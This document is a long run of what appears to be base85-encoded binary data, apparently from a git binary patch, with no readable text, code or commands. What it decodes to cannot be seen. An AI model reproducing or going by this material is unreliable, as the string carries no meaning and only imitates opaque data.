z7F<&)%UKMAoDB~R;QZ`1<&>aar=;UV27z`${H4i|9nx=|ms7*_-6BT}yR8}r9m46MA| z8aRZb?M7|=>C8Wqxz`>{g}qRqa{SXK$)KJ2AoIiyCs78CH4fV+4(+Z4)}y1#1#sHl zZfr^YFk`to!T@GP8zuyw57l*rTT{qI%f6Yer>|Z1=4F?t=a9pv~kw z7z-rVPAemh0RlmmOx-%^-m@ZHm+miaMi^d4m zt}>h0gH=b}awZbQp|;x;fA1wLo3kOQ5@^Z1x~3w+e3!JjlG$H58rJG23jx3^(HUeU z0C#JIzDSQ{{eGF#Tp3fnKBRj zX7=M@yjb?*?4!SKee~lb^i2L3Ua&K2j@J4l*7pF`x1Lc0twAJV)0t&QR605K>oK)9 zfpJg>cSJRJL>0EydGPYg0joCvdB*TExvJ6B-bVYm-jMfKO72GKfl^WG4nKLOR_s~1 z`_#RaOE*>*Z(YB4edWgWH>}>tFZhLU_~Yq+-oAh3(&~-7V(P6ppAm=etUh=B_Wiqpe?4|*<<{M+x9{9sy#oHImoxt=M8D^gaO%>E z6%FVWmj<4X<{==;c$@k>ibj-SAKHSM%s(&1f)iU{WKySiZ-XAV0{$+~gRJLj(5(&- znLnoFIN5%*-g^|&;UcttA?b*+VUhmL%>NPMtoLbEZf(6ncn%^unQfQk!d|4fyr=?q zD?12xL7$oiRnnjvF&Zv<5*o^g!R9eG$mPnUklVGQB~H(uL4WTAh=A|5&!*5Fbb}P8 z1}7QT*5pCDEaZJKDi`48P#PS7Y7&mqK>I_2-YH67H=~&Y%zg6x2(4B*+Snd&bpmXC zG!@nrs~-65!V{_pgil7*>$5aF?QY<7Y5|J1S682+r&l@wZIbt9hiuDw z6H`S#m_W>$mYer$D7@kLTNo-ijTm7|oRrdkyQ}Qdn;`@^%(? zUu`l1zu|{aQf^%tT>HsLAhfdLYrB=QXYF{-*`vEMP}ELDY?SMVCG;=uSWGDHuO9s2 z`O>EXY})N83Dp^xAk#{hb12mH84|#|oB^FWr$Mrg!2C-iRx#~!>EkAd1n(UVX-eK( zkU0iwr`eqT=L!+o?rqSxC~)qn>GXe9i=rXQNJWt?Y5KsIKvjHQJJOYQ%N>U2j`fgd zY;M9Tr%!QFVO+X{^HXv1CL|&@0H-EEf=5JGbaJ{^o>h^8|XZqB2$Td22T=R=p}Ydqx!KVPytEZD3%%#Hq)a}aT(s{v0CqASK? zIan54!*o>~^C9iK+X?a>N9^)sFBMa2c3V-E<+tgu6ST%+9iPTK0QR;ZM%`r8Zqne& zl*X#0T{Wz^p1U!0>>oS|Jt;eVco}l!ro~~-aFTh-EZ>gEBMX|0jEBBrWZdxjFOp`l z8{fKeIN#nY*1Jx>BAQBR0QtXFjItBpQS?D}8`^ynLDqa6O zr89BEX@w#8={;i^p}(YA3ngQu#E`ySw{1l)#F6JIIRR&Y zYf(h|kfzCJyr9813z@|Lqt+jIJ^?;sui^I0QqGS>)@b#<>C-JcGb<{qpPCoEZB@Zb zHYn_Uubu2St#CXXwJYh}GPO+~K4-5!VgX7Qvn%QSY^F=Sd`!|}!L)zYP1fg3@h-@UZv0`pfxR@{8fzrHxB7tZWbk=1W>zkbFFk}Y5$@?zllGOqySD&M0B?4S*meY1M z3>}V68-i6W7j+fEeLGINI>X0%uanxT51U-tJZF&2ILwh#nvEgvOEGy0(unsOeqKFx zfMF+v!ggfaH9(MZoyA@(p*Cv`LYMrNSn7awd%yN-F1Pu}E!5+;hypPi>P)3K{6Zdy zPTvQ^bd&_$Q`mpExY8`4fnfN;d!5u4F&~je?l-$6@rG>PM;j!FZim!zrp=TxaYf2H zx;9~p&}9JgbQrZ3S#^y{8sPaLcrTXFwfU;Qz$7%1JpugMTHH7oSuD8VQ_|Uw`QpXu z)kaYbb_Kr6ChSfF#>>j*mN*XRp%c~FtNW_?>d}jryOFh84gh(viDrXLHBl~(M3PMy zuNVTuz-V3Mr?-hs-K5d1=MS zN~4hep;Y<))mzu@JtdB<+_|=TPunKdOZV=Op`rl_bGNS~4&B+my7JtrIORuCTjr0H zS;miT+=uK2KW2B)DZ2!-+xBQKH6vply|?>h`<8EfLm3OC+zN;`Dc6>EU6*!Q&(3+Pbu>kWG}3@Vu#+^Zzv_?g_ZKt_1XlLQ0 z?Q}D*2&_R3!Yu zR}evrBX-Q4TFp5SA9ct$j-&o&73W;$$$sS?6md6UzNv9Eg+vu^!?NFT&hW2!wP4E> zv6!~Jcxz>k_g?6wLr`KlUtVX0xXjbMqazH``3CP#^J2DRz~9Zewc@B>D#Q_gEw5D< zisK|oS|(+=%fzwEr0KC`(yBol7a^kiaZ8#&)jnNZxDn0^lSM%5C-0P!x7DdKk>2T- z3sJmLlc%(d)1w2EkHp-#Lz{ku#s6=!UHugJ=2+=GqJrr&Z6|-sk~)n;5zXG9&z=(8 zfV05O=9~3(zuv8~*EYbvQvu*wFac=H<#zUxl!@cj;8%~KDg$$Uo7@`q8kHep*UQDD zNbNxweVfvvHxDf396aSRqlKtWVM6Ow$Rn*W#FjLIWG&8)v6QRby~vc=={l0a>Jmyd|tuY6k~aI0P^EswC-)$nM#vQeDU1gRVRzk zwhEKSW7tPaWDXetmlNh59W)X$4+xtIY%}a?FxgEVF3AVE+G%PfpJb!E-mesL`+yqK z%C472t#7SsI#0|)WReEv3IDTSeT=s6`Rla%~RnLjv-1ayr>SO+OTh`&2ZnjltKm~`5Z#wN39Ia|9JLFiV^KHq4NTQwNh294B_7qZce z&T|reNr0pt*7}I()QN_4iK+#%2ZY9S%Z}!hn{K5=lKzjwWpp4?>7Q4ERvdFw1>gea(aiw%;3&`gj7nCEog_H06Tk5$|ms!u73K1h}w3kr1u`bmHV`9eLi?XCniFl%_iB6?c_s1+~NIhdOB z+k}{1e+l3ly3Cc$i;T{VeO~j9%9DB7fm_ieafw{q|=S` z#a^vj$Gt9nctDy=!9D3Gd^Wb>4dsV&4r4H!p+LeI8&g z%%XbX{e9FqqPa)(ZT`_o<$mshy?jlPxigPBaRZHJFf1wZ`~7a+4Vn6&jR(-EeUM16 z*DL&MJhzj~WwiJ7_&vN-cVq@tTz@-)!JtK0FV0I@4LMZ~=jt)P*F1JAc%%mkSF$l@CG1v7^RyhJ-!$%};68^jld@NDG2~tD;|*TG`(;;De_6`=fIpyTLFR+O-Dcq2 zE6)`cP3CeKD>Kjq`Qs%w)owN!WMlKujck|XVJakg1(!XR+&5;#?=W9l`h%u@zn?QpyB?jTU9Tfw=N(lJvOuoh`tJ~>Ig^@2>2`?H2mX*5 zvw!_Jdnen?gHS+qcc`2h!q~({h?(p(=|UPB+vVYF!CaxYKJO3fG4=;@-n!=T2h}j5 z0Y{s2r{X3|#WMSh@<*p)BDV6BKf)`a-QTIo?M)l)QJq~|ZF(MU#p;;LeMT!gr?7{Y zX+NF>Qk3lIto-X3UOC~9lFH~mt%;GUtiOhLm^p`3=zXXA7)pT#@Pkx)gGIf zQKeCsS||6u)88am5w8(*{wq!;rqUrLM=>o5?1ofm!+=91SdUUHf zfO(QVc_z2ROQDRu=H#x5MBy3{LT9Gjq)d)J`X*f#q9$C;=4#8dY8XND?}U3Io;5o(+zt3OT?V3NLLN+6wvSNPdq8sIr+D^LDLhP~rOfLIdxjzRtPC7A| zvtU%0`Em#H6uTW=bPM-zQ3yRj>M*A#K$Pr5==B&-=`kI&g}=~A8Yf1jL)O@&5SKTS zs@^(Sj0wI^*S9*f@sb*bR#CL^N|59GG~6q-kOhtK2~DB*`ZP0%p8G|(AiD8B6%Id3 zij_YF)AL1giM)pKlaGETVMa&Dm*2&@o75u*#I(*@3;8V`2KT> z3k3!9)tGh@PGIB>S-%$>yit{0@wW+4y732e;Q}ucP0S>7ZKeqRbn3cPImDj_LHEW+ zZ!Jt8&Q6jKEc7ZG)5xYWrk(JAB9B2g!x)t#wEjDq9y1st?80q;WA*@sut3+pOXYrS zwI9Q)-n$GpSE&8f2lxE#Jo7t`26Rx@sZ;dPk`2j>+8EDK3p?~aY7aMAN6?fti;oAf zP53Wa7{uhL6gNFGnOKCqvlHInz^`O@nn$1{^0rAvLUY!Ig>rbP!(@}+`cb$q%Sx85 zqtb6Xy2EBeOkiwoNhbX5eD+>@U6#VW3jN5Xn#W~;$m2W{mP<=u7$-JC5 z4W?|^3byC`oxFU<(w`54zbf|`}1Hi z`V;N>&qtO)Ka_MWaV43${h}63218lZ%1L!1ud*Ti&7gYHp!Jzf+oPzivfb(Z_zUTj zze|X!SunN$U9%Z(x2Lt^sW;z>@O}xJ>Xen)SJgRyA9}Ny{{4u34#1J79b@c{-xE1k zsK4xy?d&X|_sA2sW56es!ZzAOc6XF#*1Sq|i*WLaL%Y>fy%=&=SjQ=c4zb-)2y~J{ zxdbBxj%0ZjPQVU?C8mrcVgMfPZpBs>7$Tiy9+K3m=~VgeI2AMj+DBa;X|A?8nL~1| zj9%U5WNwM7%}@MMzIrzqz!z)1cV7l$=qQJDxu9RAhI;o}I%0RJa?kynE4KhL99+D0 z^~UPud)IH@y1V(?`Fa5g5BGyB;dd`R=J3U^PLces^mmhm?tKF85>kO8I#(&Z%U_@^ zmLzx~u<`&Qwhx=ADUh5rf}&FlnLLC%%!omwoXJ5%%$FKP%+)TXB3%wqbm)TV$b=Gd zp*nEzRb6c4(@NPeLG_wqWWqH-E^+}L`CyFQrzcAG71CPoEweKz4iEYOdaMO%R684_&tlwDFi%rq{G5wOv zqrpd&K$dyyPO?d-$H)tIN{2d^xxjX_h^D7>)oD~lJ&@k1P##+vj+7#m+)T<#SNcFe zHacO$7zKt$ZX3$h@HgRy^Fa;P$jY+6M~J7>%c_YMYLtcdIPAVY+?*@Gg&&;A2VmY2 zyDLtE(u4UwBuI=&1>9y!DOO=CDu(Md&S^2OSo9ZBsyU^A`8mugTAkPl+}#?;I(p-_ zXXfDOu46>*!)DDDn6UL#D&m{dA%8EM19j=|P>^Y`I+02mb#mHV57ES3nr*Z9k?ND1 z;Kc>ONy-gBt>n`{Hb#)dO|5W}h44iIf1LwPuEFda!i3-*wOQ&Ci)WNmN3Wg8{aRkP zHP<>Cmm?SzxD1o7q({wy?jnLLyaI95Nmk*zO=1Y&jhe^1K*N`c%>cxWqi_2#okr2O zF@(js(25FI?D6*j8YKGD-*Vt8p;_9TNPN}ry(-l53?bN1bN@<9{_nRZJTJqA+&llnJOt%5pjgH z@J^Q`ufm@w{@lkOYEdDoF6ZlyDg2SZ!d>H8UaIbgO$`rdgfWb}fM9l!Xp_)*IaEh0 zG9PxqsaXorwA0ATs^RDY^RcK@cN3^wy`Y*flRO+jC+}wvM+ngl&X^ylMBTi1DDFuI zk@cAr?Z0uXW)6)q%&ySkK%SWM50WTY|31#~W`F{!^f@Uc&uA8-W6~X<4~YU&o8YhD zDkhHBa2-HTTfDCdF}D753L;1{HEEFs3-iYcFkJeFgqU3a94)@nP|gQrd#RDW`LtFm zvdm>enCv+`09#yV#QsSLe*PfSM1&p{4li&mXFbjM#} zC{@on+FW{}NAa|eF!w3o@YEX&AW$YYN?J@L#d)?7`yH411^!#3A6H@|Dax_DT1~#c zf-*F=HCZP@_W+PNhD`n+CIynK(K2Xc+ESpAo?jaBJ{yq+zL$;3pU5RgF=u<_RH)8xYEcd+a6A`o?)rp7d8A)A*V&(Pok0)e%$N*jY+r( zO_Gu99|r^4D|JETR%i)pT#KZNx&0EYj+l*}tH*XxivCwf@S&03>7Njyz2SAe5FMZ- zVZRSM8(Lj1k4!Tld^78In0xiXasQ+ck#j1rdA~=dmUaIPWZ(Y1$obHRZ?qke&BEtW z+>Dx9G3@Cl{8MyS?@ji$e=bw2|Hf^*{_Wcy_fO-tKO2}3mn~@ZQWk9b4(sm#YPJ7$ z@5;`I>|M{`u7CDz@A?tjK<{n2Z7t5Z>t>jFD**n`UC;W<$WkZ|?&`fqrgmoUFqrj{ z^!!_`|qnVZ}wV%nAFfbBInD_s`*sWt~bLM%b*%+M~??`Y2Gqjo1s= zknI8~Y+?EtrNAB`j_Rp$Fqf8y&E}EVl1PZV;+|L)H^~GzCY};^=y*k35!b~nagDw^ zAa2vqbvoxZ{nked#`{n@p#VKV!oQB`dk$MnU@agJBPu|6k|u(%PwP;gA)#$lDRb0g zkFwvjDor~yqVhG_aEPqvC-HF`?rp67L({5O`z-2mU6lOWfGN}{PUzCT@2iU zo2@mUMYOlrMKxiuT2pos9Yjci?^|OazxldOS@480|AG*kP_mKh=yqbKt1!uW2s66O zHBn~gLxTnaQj>RiZ&&GF|00sdzDGrD#W9nlb(0oD=s6`jLFEZVzC?~~(kOV$yF3l5 zR)z|9!GP-nNO%+e)GJgy{~niil6uFb!w*6*&pU3dC~*@~OvX~>C}$Ky246V}sFVYG zUoN(}q(!lFCuS@=SO2gZbV`r@Ko5vMY$G#XmaG1V>=E0eE{+n7V%KYqdPGx6k{aS; zp)DW>rvvcFWjOOYLC>%o`4*kvIaols^X7;w#My~voQ?A5N!MQyd86rL>JrEbO4Ant zkott($A+y-@uVH!9=mU~TTuGzotLFyqbs~O`j^NYOg|rFjCLE|L}pxw;yW|K7nHjd zNIKFZ4%3^ce9Nb1jymnpfIaH5N5l4r`D3^aeG8s7&q#Ka@;v`Ch`Rq)NzL5FoUMJ( z3V51yBK~sGku`c=%voCTd3!W0b&g9N!uTu=xjOSa=_=IwFFItN^g4-hU4HeRa?5f) zl6v0aUlHQwdXE|tHyyHiIuIUas_e}U7rjb(pYm6Qm|s7j%oBInXWz2fQ&X0>bCW$f zYztB~KnnNa{o1h3iY-34LHD%2L4!WJfZh8mKr%a2&{bE(kSb_)lvz8h$q% z%_<^$#V(inDZA#DoMfBW9h21v&X$Wqq<`kAsBC7lvYJE}pQ>w+ahXdDQGX;E2E8`B zzFJ&2LWW+VTEyH`y4-(?#zo%t=r z!GhNm((SUE_c5y^RO{6ws<3}-%6y52t`Q9>FsY1;65p2jYsDMPeC8k2B;s%J%>Sl` zu&=zqK52)IsGP9(uf_cj7|8Z8x6dzrqOfL+FwgJpc$vX_6lnXp6}nF z-XB$2kG)YbPg^(L^EO1s5UiP)D1r2>(DWpGO&*j~N6S)o#l_fbeh|A#=vHk&+MmS) zdF)pR?DzUNN#}SF=p2Jq=U}|_JP_`WHEJZ6q}p_JmL!#Hh=NZzTnz`%8CO(m+58;I zjF9)e&}*6IX&Mu&%PJ?eDAB^X(Y+e`%Q$^CGX$t;+3a3doKdgdkE5sYL)l_Y3E9~r z#}%;nOnje2&QJY{W>>;!?6?tjv?4@b-1cwL>35aUwx*boL}~U4w#OQ=xi^*phyivE zSB(~!#N|BTP9vfrF2KA@x6?)G84E<);JJQBG!8BmX&+C?P?DZ^F_r!`|F#h0-Psz_ zboz53Y~hc?m`q)0L=T=ZftFc?X8&&l z&YbJrR^Sg8=PAR{2u2r%eTj5J-j^Se>97Q71UK(SBy||46~K~ZD!@GbL%*Y0fJ?B2 za0$K&pdL9G*bb%#5})0G?lAbj1OC(**;{TMNYiqy9x|*z$fWha_c`ZG{%s|$+9i9d zzx@UM<^riN;7q9S(ou(+zgQqYYLT?I5_$mJ)aGt={Z@?UDy7KD=xG5or8heG;zFE#6NCu#OhHeCl(`o}@bcXGxjz zJ{@>WPe7bafoU}*Q=OzKalAR@{da$j5hxG5-%-6egnlr#jr`aTW@n!Ht6XXMCrPc= zpmW^-j0+F$7NoTY*>_d&ls=Q9o1m{yZn+;p=MpYFozU@+$r5T0>n;Itu2y)`o0t#Zq(oyzjrPWg90cNYovCngge#-loQm3VCsyA~l^8uH%5 zwy{G>l@Q+hyw8UVu|*VOoghe3neJ5i`b~p^tO!_Dr-!=J6aHNevTjRHC`T*O16;4i zB+2kB6_-SJ)B$TC&5c{ogKCh#8b{dl4uX8A!DD!VB&k-4+c3jMoWYpI@9zS6`y_zi zIbq79(bHUFXo~h}=z0$HE-viKvZ|Wd!r)Tm8WVAw!?6;5*bC5e9p0%xuY%Sn3X$0F z*dE*h^S42=CmJbN5nb0IYzj5%ibTQ3ouD8H?gv{~Nd0TYs|ydoDB=B**a;6cTPe}S zTUS<}H=M)V?Qc$hNcGt4lxqK;5OwK~D1&6agxE7`wVd9i_#7DB;h z-42^xgCM;*dk^f7Y>78yO849Nc8~uYtbEa({(=JzV;YrKj8qfD#GDjZXXz;Fa56#z znJjD%<0+|lB}}$&kd9rBy>k#tt_11fBAkw`OStq!)p~^gSFRVUx^eJ_{%W3SdoOJb z`P6lHMRAF!Utgy&UawI`;jaq_3gn=kd#&s3e53R0m0{lVI;!=*2L3nHum6qkzs-aC z-zNUIV^aT{!PZwaw;geZ!nP+!tKBzlKbXC>awBo~`rRk6+=myxo+ZKMTOXLgAXkX2qysHi6|bp~m87)8q=JG0=LIA<$bbWI_|%l$0&y+rnnk z{_`Bc>-W<2)h2<7_8@01std$pSz-Ogb$vH^x7$*bRUF4l*BzMQ7@_wbKVi6`yR4IX z8yHV%K@1~7mWv`ZDF#)FQthecT3!dCuVufxi)j2K=doX?AP3sTb>bg8Wz3!up7P$w zeph>NLMS0&wYql3L1%z?O!5s-|g!i4+f5|yH6Sji*MXTjqRzVi$C6MtgBj;B?Sv~UPLytb0t&)1< zR=DiHKq{p7{?|O*>^&1OanAr|e%suWHBP>u%>DNUpr;Vcb->VIqfQ2FCm>p=vAVn7-Q)zn1M>N9s^Iob z)@!qBMc24_@?nT+GfN(W80m*9T%$PH}K%n?RcFxc-z18 z4PIdHHQr#S%E_gE;v2;MG|8|YWlFK_Fl0D2PxOu+_DLWf9VSa@LAH;Zm?CMFi2v7W zLf6`0mAA)YLE;v6{^6Qdw64IelW&VxVHBRMe~9 z5(|840%C_Q4r|KKM3V?7k1|_fzNmIr3Ycd9ZmTPr%FY#OBG^JhQ^>NrznT9H4Di3f zUcH@k^S|L?{coKAjnwOZE%;YI+TQ$xon(IX(*0|Tx31pKnz$I`&;5&0b;F0JdARv* zV?FvGZ(RN3gHV0FcWtJv?jUrMV-W7+Ce4r$kW9%95B<>{VPHf^q;{CH_fgFa*JDbE zYqXkq(XcwKup=~|Q_OIWeY+g+ zlSVt?rn8eYuqZkPTHv`EQe)=$1>DqT|79VD_9!f5!8Jn;T91uN7QmW1t2uVb0L|$4t<# zB)+*L(<#LC3(AxdEHYlqJ}lL+Rn?39Hv_WuvdRz9>P3;ZcG|&Eqf2u7H~ZNp;P!UW z+_HyB5R!70*8Sdx)VTkO5L>+;Q%spz2IjWX92Y{|@@Z|g(xx|(TJqmQW8!^Iv~^Pyq_a2P4b(A zFj*S0wLOx`4?Pcsgk@o$OE0qksnZpu#&$qb%tRzZ!Ma_|+0BlU1^;by?{pV{>geY~ zF_H&@Cal}iwuhW zHpl?7Oh%CFzg>vU=}XGX`0oJQ?zNyw-Kh1;)MI>@or;qY*$Z7`tJBtDI}yX8-&H1S zi!0Z18K!B{d*pUUj$<%Eg$x!)rM+oVV~K|CN1A_~{&$dho_>$|HcuWzMEIRB+I|!> zxI^rq2h06v?GSepOqjuluJjpvbRYT1NTWW~0~*A4UFN&3{&!-&g}l$CzwB`NMQ}vY zpFY?w{AZl481#KF^R)rQ1oQas{dWNuBUOPeoYu*Hb1?I?Fro8+h|3KIO0;Lc+Yu3lj%}XZ-8hBBrNWi@cR>hC_@1b!#7sP?S!d}iAmX>cq2qlL%67jSl*{3;312d-+^8;#ll^YdaX_U= zJ5^(pPCfv6r)xii#0}+kiH3--P|D>r_@Oit(rp;C?aDz5pI;uFX9CCz+8m4pwd+WVDY*BLjqBBofC_dCJY)JZk>A)tMqM)uzZxDZ92R71x5d zWl(FHxEhAk@b$pK@5Ub$98{Vg+iu!U4hs*H?jt zXtV`@&cXt1$<_lhb8MIYew3}=ub9EG{PAGXur)u&a{1ANsv_@}sVT0<{W1T0v6ZZ; zuvYn2EOF$lO-JcvJ35W>!&4mUMf164?J1kHamS*2uA*ZGb2Gz+U{rAWOB00Bj3KDd zTJ?R>s)tJ4tg6VxNV#lnyDMhgYn6hu=R{11?*O23zS-TN-7%Ouv??R>BQK_Skk zzn>&z94oJy1B0f}cmpEYIx-J`9DS(7hcXPrVHCjOXT*ROrGe{1HKus_(~1qQC?YH| zL&gnlH(Q~J<_3^F@$|3LseD!yR7L)c@u5M*-1P6|Ocn2C|NCeSrTt1_2i=-i1}VjwqZ9?jjX@| z{X-{)qFrfAGavhM4}!@v@J8_oTd)rJs1iG1H7w!a%6xl~?9dE76IV_~OcVuU#!|OX z&a-2=QXGowV#E2G7-o{?Q%A{c{-bY3)4g0X&UPTgU5j~GYPec^lv{0UOLQX3YAlj! z6!N5ge%rvwFfi2ycG;sXaKiD?BwEQww-H6=BQkeV!?@Km{twXxy#7_X`vEu*_}3-)OY%)M zgkoEV!9>Rjluo_~CPGNF4)9U0h$GFr@mwB*vj`vM36*LU z`A$yS7PCT|X=_7t!_jm32*Q=>f<3Ip&8gvOTon= zOo6<>CvH7w+437-9%J?Jg8$>RA0DUekkiE(b}4Ge5DwN|9mH)XwiQH`L$^5S#>8&e zXL)CDfpXX(gG7!jnCm36{K+&0%^z--x0};?W0FIWTm6p;G3c$Uq9E+n8nv#wHt5`@ z$XRW+$k}B!3h(danFatnH=#)d}~XJ*;kbe62Rv>$dpQd7MM z2l(ssO$sB#;KGW*4%1$njG*x?Sto)BY-8B=QT0n%-nZMw^0 zoWmMf)QF@g0IrR~`vG|I*~3!rU#a-S)`wVjzOajPraY#>6O+ zf9h4B*;VO1mx)bCSp6j2S0d{DiNj#LC?bIY63x->nK;Zi4&VoD&0G%36@9m9@2aW= zB1SQ!V!18s{j&d4WcH$h;%b!ZI18T5%~&hDu$v5F*IEQ9zaMea0o7k&mOoN&*UH2I zK$tCtS+ogklT8o+oxDAeessB+l!R-isS$hHi!3YZS+&+qdJU>nss3^+P_}_AbsWLD zR=j~@-higlZ7XCZtCxY0Kp=lvGn|I{S1NLs3J0%fl??kIr;)!!GqqWx721QT=87e> zo$*vc0Fr-fKRITO}0x2qiWa1=qT5$%<>_4}G*=dun$yHeTxY1+V!?p^+W z6ry;OcI8z%qfsNg^2Gx4n7LRm_pRG8T6P+~5yWU<+84PrvLW@*OZz_~L=Ot_iA6E! zAp1kEm^hV?XJTlFWQuc ze|cM)*!etJtN-awQ#JZuBjjClvb#`}Y}w36A%qgO|Cv3>R}{lPX8cc(f_$BXY*edD z0d+oYxJo6rq3ES4d|D&5HeaDwiA}{cR)Q9r=P52A*W!N?7U+foQJ!GWZ7WuO41hk~ z1QuYncR!NrG3ZEEKv_>RM`wW<$v53n0B3;&PB0r=eKf|K-AovS7F50YDgWm=bl9~$ z2*ESC`11gyz5(0+85E^vqUr&|!d(OihN(&b=(b40k57wt6gvGGWJNrX;uHel&0?@5 zxN;lbHhZP_9Y~&j%~i}&*bF~nxsF#pc3F}8@Sy)G+NK_;ur9P1*mY&#;weF*m4l!{ zjl6|-V5k{ic@%Cp+Q3MuU*V#5=5`DIr-f*u$<28Gur`YW6|EJaq1{UK=lmAFJB+1w zQ;Ernl?n*RB2a~%@;@U)32iv}8o*g@%1T6and8UI)^;|GfN~B3Y_9>}UDR2T;) z9wP4-9vP#%c)$A?qgfd5TYyD*YR}P3KcpwJ>QRRELNcZ`lg-=S< zq)i$h`k2;H3sY~XNFj|9nQGuzpbKG_7PzJLGj9FdCQvmN4 zO}hg~`_G4pTkcSI zKLr(V#to9JrksbyN@db-gEay^q7|B6IU;vj{kD8F)sC)>F$VdOZ3wUW@PlK}_O8>| z#&)uBqAmV&q{y%DQieE~JLx!9MnDPq&`GpuPJsQ0Iq}^V-9Tv61Dn)_*WxI5J&wZX zCX{~6?*5f3ZIEQ=oZ!+d3Mf`?!m$5&5~}O>7^Q@ArlgIbQb8RnBcT&uDPgr_)=9-A z?FZ-mUlw9?{S^{-x3PL#H6slD2}0EkP6BvY6m*i2JR?nuX`7$s+FNfMc^-~qbB`d6XLn` z-y+Ru7RxT!eOlq-F47s^#X8pm-aGf9(xQRh@RxLA)VCi;*5_{*Zb_NA}MPD)`gp1U2H% zNv>R};g_e^$>tl#bSth)-h~up)41K}mtbmkVpMr&Y?Kie5(7XuusRlgc*+cRIPm}q z{sroa_zHVuGBc!6&0)_zt5Vz2V?rFv>>;&?%~}rLar{_3Cn_qa2^Cmt6%eEqxKRy` zX7Q(k6kX6^Op1ccZIY!05YE{@Q%Zo(uc}Yw>ynO_AbHMbxflTwkQ`Qmx=h}P^4*KH!H0?>#@qpPWIoS?c=s2 zYpv{L)qv|YFQWKm5gP{&8v~X9T;zh`8Sez&eKQ*H3|#q(^b&x_w2EPuDv6f-Di{u2;r#FE$I@YC`u?GLjiT;UEHkin|}3zG6wG zdf?lx7!a(Uf67g{O^LcQdlLyK`=Q7AmSR)d8DT&^3)P8mrmOfbFLZKU~FT zx2XbjjViU~|7Tj=>95oBUNDI>j>XGl3n-GHqwJnQMr3oY!lS1smEgArd ziz=pUsLOmyIXSvKhdrsEPOQH}l&JKFoo8sF4Caw$7|WxhyLr?b4oZNK7Tze6`1ml7 z22JJB`_U;?@)~$i9b6H?4@vWblC)mMy#L=3AKH{xq493~;1)c%$-qpZafoatV4dCi z%*oU{v;OZ3(bHbXTs7!1M&a-UbvQ|B=E8+H6PzbKAe55Vnk^Ac`^kt=!=!i< z&D;M$+wdfyc5Enm9(C0q;@&42AKs&(e=%MSO!QPqx1^OGGZ`>>KvfizP-&0ZxWa&j zf!4Egc`|yrSR3YJIFXOW?a>x{v<*kh6R8vFWi$9;R+!JH9W+6;`k8}JZH6EbV{S5i z*#85Xx2?8-HWO4hqvdF96!4-cwbm?Jwji_)A=CreGKGzJJEZ7%lo^FkBdk~~IjRm( zfkNOl^TY|%f$hO>hmgg?M|Y#iPMV!Gjo#pp+1w2w=e-3ihl~h#%Auz2$5t{z)*EsG zOT`V~>!$Ethwxa2Ki<8qg_34xHILq?1$NY+-g<))rV@IaS@&27sRDaszI)oF73a|u&DIlX)NHjvbJ4LQ13iAd z))ApbHqeT_Kgx4p8L(G+(Eox^d%Zu+yCV*RQ0fLq9JodWz55~XrQL86=9^Ib;V%D+ zLM-*Eb}IpbqMNd{)GoPWYOO|iub?QdE@)$dGDT4xJDh%GSbyW4kERm@kx_=52cw)N zqO9`2M2gg;;@l+K?0yhiD(!0?!f7pcA91kPL!D@~X|9YyXAH?1=+Ar}y=EC~*-Gp& z@t`g!Bwq;FxID=3eB=a>-Rfu+k8v{j;;cij)Ql@y@attJ%rMgKGz^a2$i{2pBIFQT zOtm`Xkb%Dn!vxXH|K$HMNxAoWKUq6zp@6*zn+8z8_NbFZDQ(u=Z8oyh7+Ee1d7q6A zcH59!uY*$_nu}vjnf+x>uJz|e_n(cBjb$%0ch*QvcNv9#`m@*Wch*WYWjmQ1beFX( zXJz&2^+x|sgqR?k&1|1pK4Y#nQ*L3FHLbKp25oi44x1g@iEWlE2JL_^b5LnH!fM3; z%mI!cHk%qo#(j4{Irt%wA84OJBF%36(19O@A?OyRWQXPgU>rl1@{8keyb%YgR1AgR zvdlbXTASyOOd7on!g$J-n&j_JLzg+>M##XACfG=hBhM>fR_X$rxZjp0AB_ZR$4Q&) z)9sMZ*={%B8Q1a=VCQXeG$q~?*q)~yQc8m{%RABy_v>Y{ zg|^&n@c&eV-jM#N>NQ*?o|Br8DobG;d%XQCj_ob`>rs^32rO`J z^&V@JKCe=<06$|yQx$+k1`VyvHWVS&@VR+lx=$C2X!lC}`X@x_M*1(*c3s4fvvH$_ z9fHX&rqlnZqSi&i%0Rl@|1%*v*G0hJ%*9uxG4XiO(?h0VFb^n=zUKbfjA=4q_08;p z>44B;&&`Az6gFlgb{Qgo&p5I>M>-Yp6yQ7t+%#H|LRF{01$x#hY!1|reL%s_qliJ1 ziSBRaVN*H7<{-$*1<$wH8Qf$SOc~@LHK7Mk8L%=-2i8!wF-kXvzFP#}N7edOvW_@x z5^TWiM95;vDy(azNLSkoe6U)F2KD(i>^I)K*I!TrPuyodF2yms&%|=~nWy|eCw+4L zP1Fwd#Bsg%8>Vt&7?Pn-l*YO(BT00>6BeGcDLIUL=BYUptx~)Ua=YWxtKuUmu zT{6XhWGH*1_XTR^8`nRkhOsw<^$%c-({lc6{$FscuV?+!Dz1O*k|;d`DC^@_=rp6H9H#7w}fHtf+fqp zaeNGd064(xfG@y2VF)tL3ZHUQXW^zO5;dp>?3$QoA#BBRjA@>30^O(%&dw8@ca2ca zHuPx-aTg)ZXJQ>o{#R%!WXb}r;zbZRw7o|b>DAgS)Dy1$?SdD|4Sqa zbgP&sb)_kB!oqNygG6&uctX#TVJjTC;#wSCE!+*=p~;5K2v?K-IBbJ{feg-dedbP3 za&R{tf?~r*Ri?hA5=pr1UW9JNmD{=SG7Ht9J9{F@0xau@COjd#)cd&qS3)#oo<>1| zc(4ez*=RtmO$+iqBvVKA;eG3Uy=B)(w@R5RASadBYK29ybx)a9KV^+GUiB*~h(u?9 zXtLeQr|^y&$X3WZ(dYk9Ar5CgsA}QL)H4EGv^nCdSPIdfg#T3`S~EXM!@CoD7@xtz z#z*Ds>90qnmI6EN%``7XrVe{oUhiX_y@%sGbTpyp7HrSKl1s<@zeauZFRCVc=Q8NV z=Ju_26>YY++F|sJd}tw2y{NqRDY1g#r-g?SZ~Z2j#@uGVq9x2n73hIFXzu(m?rIaA zOs*-J5X{M42y5+cugtNwYlS?5d@nVs+%|8Iq;_HU_t?V;cVk{1AFtp10j@snz03a^4YL1=Dupt~StO;f zX@T~qKiwvQv;?cMkXFQCsRd&V!5#uIWHdLgxH(3u`3^uo+p~#G`J`;Em4g$i6prMg z+!`|8M#=IFy1EeakBN%T`(GEL-T#T4T+=p~!~G}MXN3v}W9(WX8<{K&XRSi_K&Q!+Ey7OiiV`kZYUs?j z0(Ex?vCe0pLrh{aY{B`}x}dd$Ygw@0?l=iTupY#rJ@;rXO}fpDtLnw9n*i&vEYG=^ 